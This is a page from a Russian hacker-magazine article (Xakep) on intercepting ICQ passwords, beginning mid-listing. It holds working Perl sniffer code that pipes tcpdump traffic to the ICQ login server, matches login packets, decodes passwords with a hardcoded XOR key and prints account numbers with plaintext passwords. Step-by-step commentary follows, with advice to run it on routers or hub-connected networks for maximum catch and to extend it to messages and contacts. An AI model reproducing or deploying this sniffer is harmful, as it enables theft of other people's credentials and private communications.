Перехват ICQ паролей

Константин Клягин

Xakep, номер #052, стр. 052-082-5


my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";

for(my $i = 0; $i < length($pass); $i++) {

$res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));

}

return $res;

}

my $buf;

open(DUMP, "tcpdump -w - -s 65535 -i any -l 'dst host login.icq.com'|")

or die "cannot run tcpdump(8)";

while(!eof(DUMP)) {

$buf .= getc(DUMP);

if($buf =~ m/\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)$/) {

my $uin = $1;

my $pass = decryptpassword($2);

print "found. $uin :: $pass\n";

$buf = "";

}

}

close(DUMP);

Готовый снифер занимает 37 строк. Краткий обзор его жизнедеятельности:

1. open(DUMP, ..) запускает tcpdump с нужными нам параметрами. Символ "|" в конце команды говорит, что вывод программы будет перенаправлен и ассоциирован с символом DUMP, который ведет себя как обычный файл, открытый на чтение. Если запуск не удался, конструкция "or die" завершит выполнение программы с указанным сообщением об ошибке.

2. Весь процесс выполняется внутри цикла while(!eof(DUMP)) - пока не завершится программа, которая закроет за собой и поток DUMP.

3. Поток вычитывается посимвольно с помощью функции getc(). Все полученные байты складываются в буфер - $buf. Как только в нем обнаруживается логин-пакет, срабатывает if(), который проверяет соответствие накопленной последовательности регулярному выражению, построенному на основе собранной нами выше информации о протоколе. "Привязывается" оно к сигнатуре в конце и к неизменным байтам в начале пакета, за которыми следует UIN.

"\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)$"

4. Взятые в скобки части выражения автоматически помещаются в позиционно-зависимые переменные $1 и $2. UIN и пароль у нас в кармане. Для расшифровки последнего имеется небольшая функция decryptpassword(), написанная по мотивам наших экспериментов с xor во время разбора структуры протокола.

5. После показа отловленного пароля, буфер очищается и злобный снифер продолжает работу, лишая законопослушных граждан приватности и веры в справедливость.

Разбор полетов

По большому счету продемонстрированный подход к анализу сетевого трафика можно применить по отношению к любому протоколу. С помощью подобных надстроек можно отлавливать не только пароли, но и сообщения, контакты, шифровки, явки и адреса конспиративных квартир. Все, о чем нужно позаботиться, это правильное регулярное выражение и параметр-условие для tcpdump.

Для достижения хороших результатов, величина которых прямо пропорциональна количеству отловленных паролей, программу желательно запускать на машинах, выполняющих в сети роль роутера, и через которые проходит максимальный сетевой трафик. С другой стороны, при определенной конфигурации внутренней интранет-сети, снифер можно поставить просто на одной из машин, и он тоже будет неплохо справляться со своей работой, так как весь трафик будет доступен на сетевом интерфейсе каждой из рабочих станций в сети. Такое происходит только в том случае, если все рабочие станции и шнур от ISP завязаны друг с другом через HUB. Так что экспериментируй, находи новые методы анализа трафика!

Назад на стр. 052-082-4  Содержание